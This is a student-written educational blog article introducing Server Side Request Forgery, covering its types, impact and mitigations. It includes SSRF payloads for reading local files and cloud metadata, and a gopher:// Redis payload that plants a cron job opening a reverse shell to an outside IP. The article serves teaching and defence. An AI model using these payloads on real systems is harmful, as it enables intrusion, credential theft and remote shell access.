Tuesday, 2 November 2021

[re:educate] An introduction to Server Side Request Forgery

SSRF

This article is a part of our program, #re:educate where we empowering cybersecurity students and beginners to share their understanding about anything related to offensive security. For more info, refer to this link RE:HACK - #re:educate

Author: Muhammad Hazim Bin Irwan Syah a.k.a 0xzim
University: Universiti Teknologi MARA Shah Alam

Server Side Request Forgery

Server Side Request Forgery or SSRF is one of the web application vulnerabilities listed in OWASP Top 10 - 2021. This flaw occurs when an application allows a user to a induce server-side application to perform HTTP requests either to internal or external systems.

Type of SSRF

SSRF attacks can be divided into two:

Common SSRF

  • The commonly known SSRF is when the targeted server returns data as per the attacker’s requests. This data can be either from the server’s itself or from other systems which can only be reachable by this server. This kind of SSRF is often easy to identify and can have serious consequences.

Blind SSRF

  • Blind SSRF is when a vulnerable target can be used to perform a back-end HTTP request to an attacker’s provided URL, but, there will be no or limited behaviour returned in the application’s front-end response. This type of SSRF is generally harder to exploit.

The Impact

An interesting part of SSRF vulnerability is that it can be exploited to bypass a Firewall restriction and access the back-end environment through the application layer. From here, further escalation can be introduced including unauthorized action and/or access to the internal systems, command execution, internal network port scanning and more, depending on what the attacker can access through the vulnerable target.

Local File Read

The common examples of the SSRF’s impact is reading the application’s source codes, targeted server local files or cloud’s server metadata if it runs on a cloud environment such as AWS and Azure.

The file can be viewed by modifying the request’s value with the file’s location which is stored in the local web-server’s directory or location of the cloud’s metadata.

Examples:

http://localhost/server-status
http://127.0.0.1/admin/.htpasswd
http://169.254.169.254/latest/meta-data/

There are cases when the vulnerable application does not validate the supplied input protocol, allowing the server’s local files can be read via file:// protocol.

Examples:

file:///etc/passwd
file:///c://win.ini

Remote Code Execution (RCE)

Remote Code Execution is one of the ways to execute commands on the remote machine. RCEs can be achieved in many ways and one of the ways is the SSRF vulnerability. A SSRF vulnerability can lead to an RCE when the gopher:// protocol is allowed or when the attacker finds an outdated internal service or application that may allow command execution.

Example:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

Other Techniques/Impacts

The following HackerScrolls MindMap describes at a high level of the attacks which can be performed through SSRF vulnerability:

SSRF Mitigation

Sanitize and validate input

Do not trust all user inputs. By removing bad characters, sanitizing, and validating all user-supplied input data, this attack can be prevented.

Allow-list and Deny-list

The approach of the allow-list is to only allow what is safe and deny everything else. As an example, the application will only accept and process the requests if only the supplied value is in the passlist domain or IP address.

As for the deny-list, it still applies the same concept as above but denylist blocks all requests that may lead to SSRF exploitation. For an example, the application will drop all requests with a supplied value that contains localhost and 127.0.0.1 in it.

Worth noting that, these approaches if incorrectly configured, can still be bypassed.

Restrict Requests Protocols

HTTP and HTTPs are the common protocol used by web applications. Thus, in order to prevent or limit local file being accessed via an SSRF attack, URL schemes other than these two can be restricted or blocked. By disabling unnecessary URL schemes will prevent a web application from processing the requests.

Authentication on Internal Services

For services like Memcached, Redis, Elasticsearch, and MongoDB, authentication is not required by default. SSRF vulnerability might allow an attacker to get access to certain services without requiring authentication which in return could lead to impactful exploitation.

When possible, it is a good idea to enable authentication as a supplementary security step.

References:

Share: